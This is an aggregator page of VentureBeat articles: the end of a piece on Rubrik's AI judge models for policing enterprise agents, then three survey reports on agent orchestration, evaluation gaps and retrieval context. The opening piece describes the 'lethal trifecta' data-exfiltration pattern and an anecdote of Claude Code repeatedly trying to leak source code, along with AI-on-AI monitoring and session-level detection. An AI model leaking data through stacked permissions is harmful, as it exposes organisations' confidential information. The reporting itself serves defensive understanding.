SAGE is an aggregation of judges based on parameter-efficient fine-tuning that Rubrik uses to take on task-specific variants of a base model with shared organizational context. One judge watches for tool-use hallucinations while another suppresses PII before it can leave, each running as its own enforceable policy. Security and GRC teams have started writing financial rules into the same layer, including one internal policy barring AI spend on personal projects.

The lethal trifecta

Asked which attacks worry him most, Rishi pointed at the lethal trifecta, the term security researcher Simon Willison coined in June 2025 for an agent that holds private data while taking in content nobody vetted, with a channel to send what it finds to the outside world. The danger, according to Rishi, is what happens when individually legitimate permissions stack. An agent granted Salesforce access and email access on an employee's credentials has done nothing wrong yet, with yet being the operative word. "A very simple example is that an agent can start pulling data from Salesforce and then decide to accidentally leak and exfiltrate that out via an email," he told the audience. A financial services company he met the morning of the session made the point for him, telling Rishi that none of the individual permissions are bad on their own and the agent needs every one of them to do its job. "It should have permission to each of those systems, but it's the combination that ends up becoming really destructive," Rishi said.

Traditional identity and access management never priced in that combination because it relied on the judgment of the employee holding the credentials, Rishi argued, and agents supply none. "I can tell you the number of times Claude Code has tried to leak some of our sensitive source code to a public GitHub repository is incredibly high," he said. Cutting agents off from public resources entirely would defeat their purpose, which returns the problem to adjudicating intent in context rather than revoking access.

A separate VentureBeat June Pulse survey of 107 qualified enterprise respondents maps the blast radius of exactly this pattern. On the Transform stage that morning, VentureBeat research reported that 69% of companies run credential sharing somewhere in their agent fleet. Companies with shared credentials anywhere got hit more often, reporting a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent carries its own scoped identity.

The attacks no single turn reveals

Rubrik Agent Cloud reached general availability in February, though not everything Rishi described ships in it yet. Backtesting is just starting to roll out. The feature replays an organization's historical agent actions and tool calls against a new policy, showing where the policy would have stepped in and where an action would have sailed through uncaught, with policy edits applied in real time. Rishi called that archive one of the most valuable data troves an enterprise holds.

Real-time detection and blocking turn out to be the entry point rather than the whole product. Some attacks never trip a single-action rule. "No individual turn of the conversation was problematic, but if you took the session as a full trace, that ended up being problematic," Rishi said. Agent Cloud runs batch analysis across entire session traces every hour or every day and surfaces what Rubrik calls insights, the problems no individual guardrail caught. The same Zero Labs report found that 88% say they lack the ability to roll back agent actions without system disruption, a recovery gap that sits squarely in Rubrik's original line of business.

A skeptical CISO will ask the question the fireside did not answer. SAGE is a non-deterministic model policing other non-deterministic models, and Rishi offered no false positive or false negative rate for the judge itself. The closest thing the architecture gives to an answer is auditability, since backtesting and the batch insights both leave a human-reviewable trail of each call SAGE made and whatever got past it. Who watches the watcher, for now, is a trail of receipts rather than a benchmark. Until that benchmark exists, AI in the loop stays an operational wager rather than a quantified control.

Three questions fall out of the session for security teams. How many of the guardrails now in production depend on a human clicking approve, and what happens to that workload as agent count grows? Does anything in the stack enforce semantic intent, or is it all allow and deny lists? And can the team backtest agent behavior against a new policy, then unwind a multi-turn session without taking systems down?

Rishi's timing has a market behind it. In the same VentureBeat research, 82% of enterprises still name their primary AI provider's built-in guardrails and cloud controls as their main agent security layer, and 59% plan to adopt, add, or replace agent security tooling within the next 12 months. Only 12% include an agent-identity product in what they are considering, even with credential sharing still the norm. Every CISO at that Anthropic roundtable had a policy document and no enforcement mechanism, and Rubrik built a product for the space between the two. YOLO mode is the bet that an AI watching other AIs can finally make the policies real.

]]> <![CDATA[Agentic orchestration: Enterprise AI organizations have a deployment problem, not a platform problem — and most are calling chatbots agents]]> https://tsecurity.de/de/3689830/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/ https://tsecurity.de/de/3689830/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/ Thu, 23 Jul 2026 19:19:45 +0200 📰 IT Nachrichten tsecurity.de Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agents” are still chatbot wrappers, the control plane enterprises expect is deliberately hybrid to avoid lock-in, and real-time fiscal control over token burn remains the exception.

This wave of VentureBeat Pulse Research examines enterprise agent orchestration: which platforms enterprises run on, what drives the choice, what they optimize for, how they expect agent control to be structured, and — most revealingly — how orchestrated their deployed “agents” actually are and how tightly they control the cost of running them.

The central finding is a gap between orchestration ambition and orchestration reality. Enterprises are consolidating fast onto the major model platforms: Anthropic’s Claude is the primary platform for 40%, more than double any rival, followed by Microsoft (18%) and OpenAI (13%). The choice is driven by “model gravity” — native alignment with a state-of-the-art base model (21%) — and success is judged by reliable, multi-step execution (task completion reliability 32%, multi-step workflow management 28%). Yet asked to assess their portfolios honestly, 71% say a quarter or fewer of their deployed “agents” are true multi-step orchestrated workflows rather than single-prompt chatbot wrappers, and only 10% have crossed the halfway mark. The orchestration layer is being built well ahead of the orchestrated portfolio it is meant to run.

That gap shapes the architecture enterprises are putting in place. By the end of 2026 a clear majority (51%) expect a hybrid control plane — provider-native plus external orchestration — and only 6% expect to hand control to a provider-managed service, because vendor lock-in (35%) is the risk they fear most if control lives inside a model provider. Investment follows the build-out: agent workflow tooling leads the spend (34%), with security and permissions enforcement (25%) behind. And fiscal control lags throughout — more than a quarter (27%) have no real-time way to stop a runaway agent before the bill arrives.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent orchestration. Responses are filtered to organizations with 100 or more employees (n=101), drawn from a single June 2026 wave; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends.

By organization size the sample is spread evenly across the enterprise bands: 100–499 employees, 2,500–9,999, and 50,000+ (21% each), with 10,000–49,999 and 500–2,499 (19% each). By role it is senior and buyer-credible: product and program managers (15%), CIO/CTO/CISO (13%), consultants and advisors (13%), and a spread of data, AI, and engineering directors and VPs, with an “Other” function at 18%. On purchasing, 81% are recommenders, influencers, or final decision-makers for AI solutions (66% recommender/influencer, 15% final decision-maker). Technology/Software is the largest industry at 44%, followed by Financial Services (17%) and Healthcare/Life Sciences (8%).

At 101 respondents the sample is robust enough to read directionally with reasonable confidence, though it remains self-selected and is not a probability sample.

Finding 1: Orchestration runs on model-provider platforms

Anthropic’s Claude leads; open frameworks are marginal

We asked which agent orchestration platform enterprises primarily use today. The answer concentrates on the major model providers — and on one in particular.

A note on reading these shares. As described in the methodology section, the respondents are self-selected, and this question asked them for a single primary platform — so the figures measure which platform leads each enterprise's deployment, within a self-selected audience of AI-active technical decision-makers. A sample built this way can diverge substantially from spend-weighted market measures, and each VB Pulse survey draws its own sample with its own company-size mix, so vendor figures should not be compared across our surveys either. Read these shares as a portrait of where this cohort has placed its primary orchestration bet today, rather than as market share.

The model platforms dominate. Anthropic, Microsoft, OpenAI, Google, and Amazon together account for roughly 80% of deployments (81 of 101), while the open frameworks (LangChain/LangGraph) and custom in-house builds that anchor engineering discussion sit in single digits. Anthropic’s lead — 40%, more than double the next platform — mirrors the “model gravity” selection logic in Finding 2: enterprises are choosing the orchestration layer that comes with the model they want to build on. As with the security vendors in the prior agent-security wave, the tools that define the category in technical circles are not yet where enterprise deployment concentrates. A small 3% are not orchestrating at all.

Respondents rate the platforms they run at 3.94 out of 5 overall (109 answered), with “value for money” specifically at 3.94 and “ease of implementation” the weakest score, at 3.85 — placing orchestration near the bottom of our five-tracker satisfaction range, ahead of only evaluation tooling. A rating just under 4 out of 5, from users of whom 96% plan to change their orchestration approach within the year, reads as provisional acceptance: the platforms work well enough to run today, and not well enough to stop the search for something better. The ratings sit alongside near-universal intent to change; this is a layer enterprises tolerate more than they love.

Finding 2: Model gravity drives platform selection

The base model, not the tooling, decides the platform

We asked what most influenced the orchestration platform choice. The single largest factor is the pull of the underlying model — though flexibility and ease of development follow close behind.

Model gravity leading is the selection-side explanation for Anthropic’s platform lead: enterprises pick the orchestration environment closest to the frontier model they have standardized on. But the next tier complicates the picture — flexibility across models and tools (17%) and ease of development (17%) say enterprises also want to avoid being trapped by that choice, foreshadowing the lock-in fear in Finding 6. Security and permissions (14%) and total cost of ownership (11%) round out a pragmatic buying logic. Performance (latency/memory) sits last at 4%, a reminder that at this stage of adoption the binding constraints are model fit and optionality, not raw speed.

Finding 3: The job is reliable multi-step execution

Enterprises just orchestration by whether it completes the work

We asked what enterprises optimize for — their primary success metric for orchestration. Reliability and multi-step workflow management dominate; developer- and user-facing metrics trail.

Task completion reliability (32%) and multi-step workflow management (28%) together account for 59% of responses (60 of 101): orchestration succeeds, in the enterprise view, when it reliably carries a task through multiple steps to completion. Developer productivity (17%) matters but is secondary — the inverse of its prominence in framework discussion — and end-user experience (9%) is a minor concern, consistent with orchestration being an internal execution problem rather than a UX one. This reliability-first standard is exactly what makes the Chatbot Trap finding so pointed: enterprises define success as dependable multi-step execution, yet most of their deployed “agents” do not yet do multi-step work at all.

The trap is not evenly distributed. Splitting the sample by organization size, 77% of smaller enterprises say a quarter or fewer of their agents do true multi-step work, against 62% of larger ones. Larger enterprises are meaningfully further into genuine multi-step deployment; the chatbot trap is, directionally, a mid-market condition.

Finding 4: Consolidate, productionize, and build in-house

Three strategic moves are nearly tied for the year ahead

We asked what major change enterprises anticipate in their orchestration strategy over the next 12 months. Three moves cluster at the top, almost evenly split.

The top three — building in-house control (25%), standardizing on one framework (24%), and moving agents from sandbox to production (23%) — are statistically indistinguishable and tell a single story: enterprises are moving from experimentation to operational consolidation. They want fewer frameworks, more production exposure, and more ownership of the control layer; only 4% expect no change. The appetite for custom in-house control planes is notable alongside the platform concentration in Finding 1 — enterprises are standardizing on model-provider platforms while simultaneously planning to wrap them in control logic they own, the hybrid posture that Finding 6 makes explicit.

Finding 5: Nearly seven in 10 plan to switch — and the biggest group of movers has no shortlist 

The strategic change enterprises anticipate (previous finding) comes with vendor motion attached. Asked whether they plan to adopt a new, additional, or replacement agent orchestration platform in the next twelve months, more respondents are moving here than in any other layer we track.

Asked which platforms they are considering, the most common answer among those in motion is none yet: 29% of all respondents are evaluating without a shortlist, the largest single response after "not considering a change." Among named candidates, OpenAI leads at 16%, followed by LangChain/LangGraph at 12% and Anthropic at 7% — and notably, the independent frameworks draw roughly double their current usage footprint in forward consideration, the same pattern our security tracker found for specialist vendors. Read with this report's concentration and lock-in findings, the picture completes itself: the major model-platform providers hold roughly four-fifths of today's primary usage, vendor lock-in has become the leading fear, 96% anticipate a strategic change — and now the purchase intent to act on all of it, with the largest bloc of buyers still undecided. The most concentrated layer of the agentic stack is also, as of June, the least settled.

Finding 6: Investment flows to workflow tooling

Tooling and permissions lead the spend; monitoring trails

We asked which orchestration-related investment will grow most next year. Agent workflow tooling leads, with security and permissions enforcement behind.

Workflow tooling leading (34%) is the budget-side expression of the reliability-and-multi-step priority in Finding 3: the money is going to the machinery that strings steps together dependably. Security and permissions enforcement (25%) and scaling infrastructure (20%) follow — the investments required to take agents from sandbox into production, the strategic move in Finding 4. Monitoring and debugging draws a smaller 11%, with another 11% reporting flat budgets. The weight on tooling, permissions, and scaling over pure observability signals that enterprises are spending to build and harden orchestration, not merely to watch it run.

Finding 7: The control plane will be hybrid — and lock-in is why

Enterprises expect to split control between providers and their own layer

We asked where enterprises expect the primary control plane for agents to live by the end of 2026, and what worries them most if that control sits inside a model-provider platform. A clear majority expect a hybrid model — and vendor lock-in is the reason.

Hybrid control is the dominant expectation by a wide margin (51%), and only 6% expect to hand control to a provider-managed service outright. Read together, the hybrid, custom, and externally-abstracted options — every architecture that keeps control at least partly outside the provider — sum to 88% (89 of 101). The reason surfaces directly when we asked about the risk of provider-resident control: vendor lock-in leads at 35% (35 of 101), ahead of security and permissioning limitations (28%) and inflexibility across models and tools (21%). The pattern echoes the prior wave’s “don’t trust the model to police itself” posture — here, enterprises will build on a provider’s platform but decline to be governed entirely by it. The hybrid control plane is the architectural hedge against the lock-in they most fear.

The June figure asserting a preference for a hybrid control plane marks movement from earlier. In the April–May survey (n=145), only 34% expected a hybrid control plane, and a greater number (12%) expected to hand control fully to a provider-managed service. These two snapshots don’t yet measure a confirmed longitudinal trend — but the direction of the conversation is unambiguous: toward keeping control.

Lock-in is also a new arrival as a top concern. In the April–May wave, the leading concern was security and permissioning limitations (32%), with lock-in second at 24%; by June the two had traded places. The worry about provider platforms appears to be maturing from whether they can be secured to whether they can be replaced.

Finding 8: The chatbot trap — most “agents” aren’t agents yet

Enterprises admit most deployments are still chatbot wrappers

We asked enterprises to assess their portfolios honestly: what share of their deployed “agents” are true multi-step orchestrated workflows versus simple single-prompt chatbot wrappers. The answer is the defining finding of this wave.

This is the gap at the center of the report. Combining the bottom two bands, 71% of enterprises (72 of 101) say a quarter or fewer of their deployed “agents” are genuinely orchestrated — and just 10% (10 of 101) have crossed the halfway mark. The ambition documented in the earlier findings — model-provider platforms, reliability-first success metrics, production rollouts, a deliberate control architecture — runs well ahead of the deployed reality, which remains overwhelmingly single-prompt assistants dressed as agents. This is less a contradiction than a roadmap: the platforms, budgets, and strategies are being put in place precisely because the orchestrated portfolio is still so thin. The open question for later waves is how fast the reality closes on the ambition.

Finding 9: Fiscal control is still reactive

Only a minority can stop a runaway agent before the bill arrives

Finally, we asked how enterprises enforce fiscal control over agent token consumption — the risk that an autonomous loop exhausts a budget before anyone intervenes. Most rely on native caps or after-the-fact monitoring; real-time programmatic control is the exception.

More than a quarter of enterprises (27%) admit they have no real-time, programmatic way to stop an agent before a budget-breaking bill arrives — they learn of it from the logs afterward. Another 32% lean entirely on the native caps and throttles built into their primary platform, a control only as good as the provider’s tooling and one that ties back to the lock-in concern of Finding 6. The enterprises building custom gateways (23%) or exploiting cross-model routing to arbitrage cost (19%) are the ones treating token burn as an engineering problem to be controlled deterministically. As with orchestration maturity, fiscal control is an area where the operational reality lags the ambition: agents are moving toward production faster than the cost-control plane around them is being built.

It’s worth noting, a split appears according to company size: roughly one in three enterprises under 2,500 employees (34%) exercises only reactive control of agent spend, against 20% of larger enterprises — directional figures, but consistent with the chatbot-trap split. The mid-market is running the least mature agents on the least instrumented budgets.

The bottom line: The layer is real; most of the agents aren't yet

Organizations with 100 or more employees describe an orchestration strategy that is consolidating quickly and maturing slowly. They are standardizing — for now — on model-provider platforms, which collectively hold roughly four-fifths of primary usage, chosen for the gravity of the underlying model, and they judge success by reliable multi-step execution. Investment is flowing to workflow tooling and permissions, the strategy is to consolidate frameworks and push agents into production, and the control plane they expect is deliberately hybrid, because vendor lock-in is the risk they fear most. But the standardization is provisional: 68% plan to adopt a new, additional, or replacement orchestration platform within twelve months — the highest switching intent of any layer we track — and the largest group of those movers has not yet shortlisted a candidate. Today's concentration describes where enterprises are, and visibly does not describe where they intend to stay.

But the honest self-assessment punctures the ambition. Seventy-one percent say a quarter or fewer of their deployed "agents" are truly orchestrated, only 10% are past the halfway mark, and more than a quarter cannot stop a runaway agent in real time. The orchestration layer — the platforms, the budgets, the control architecture — is being built ahead of the orchestrated portfolio it is meant to run. At 101 respondents in a single June wave this reads as a clear directional signal rather than a precise measurement: enterprises have decided how they want to orchestrate agents well before most of their agents are doing anything an orchestration layer is for. The questions for subsequent waves are whether the deployed reality closes the gap on the ambition — and, with nearly seven in ten buyers in motion and most of them undecided, which platforms the settled stack finally lands on.

Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, results read directionally rather than as a confirmed trend. Respondents include product and program managers, CIOs, CTOs and CISOs, consultants and advisors, and directors and VPs of data, AI, and engineering, across Technology/Software, Financial Services, Healthcare, and other sectors.

]]> <![CDATA[The agent evaluation gap: Enterprise AI organizations have a reality-alignment problem, not a coverage problem — and most are shipping to production anyway]]> https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/ https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/ Thu, 23 Jul 2026 19:19:44 +0200 📰 IT Nachrichten tsecurity.de Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated evaluation today; and the most-cited weakness is that evaluations do not align with real-world outcomes. Yet two-thirds already allow, or are actively engineering toward, deploying agent changes to production on automated evaluation alone — with no human in the loop. The result is an evaluation gap — the distance between how much autonomy enterprises are handing their agents and how far they trust the tests that are supposed to catch the failures.

This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.

The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.

What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving faster than the assurance.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability & Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.

By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).

At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.

Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.

Finding 1: A passing eval is not a working agent

Half have shipped an agent that passed evals, then failed a customer

We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.

This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.

Finding 2: Almost no one fully trusts automated evaluation

The top complaint: Evals don't match real-world outcomes

We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.

Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.

Finding 3: The autonomy ceiling is rising anyway

Two-thirds already allow, or are building toward, zero-human deployment

We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.

Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.

Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards.  To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that. 

Finding 4: The evaluation stack is fragmented and provider-led

Provider-native evals lead — tied with no dedicated tool at all

We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.

The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.

Finding 5: Production monitoring rarely watches output quality

Only a quarter run real-time quality checks on live traffic

Production monitoring for an AI agent can watch two very different things. It can watch whether the system is functioning — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is correct — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.

Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.

Finding 6: Bought on cost, measured on consistency

Price and integration drive selection; evaluation consistency is the goal

We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.

Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.

Finding 7: The next dollar goes to humans and observability

Investment is flowing to oversight, not just automation

We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.

The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing.

Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.

Finding 8: A tooling reshuffle is coming

Nearly two-thirds plan to adopt or switch platforms within a year

We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.

The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint.

Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.

The bottom line: An evaluation gap that autonomy will widen, not close

Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.

The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.

Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.

]]> <![CDATA[The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix]]> https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/ https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/ Thu, 23 Jul 2026 19:19:42 +0200 📰 IT Nachrichten tsecurity.de Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.

This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.

The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.

Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.

By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.

At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.

Finding 1: Confident and wrong

More than half have traced agent errors to bad context

We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.

This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know.

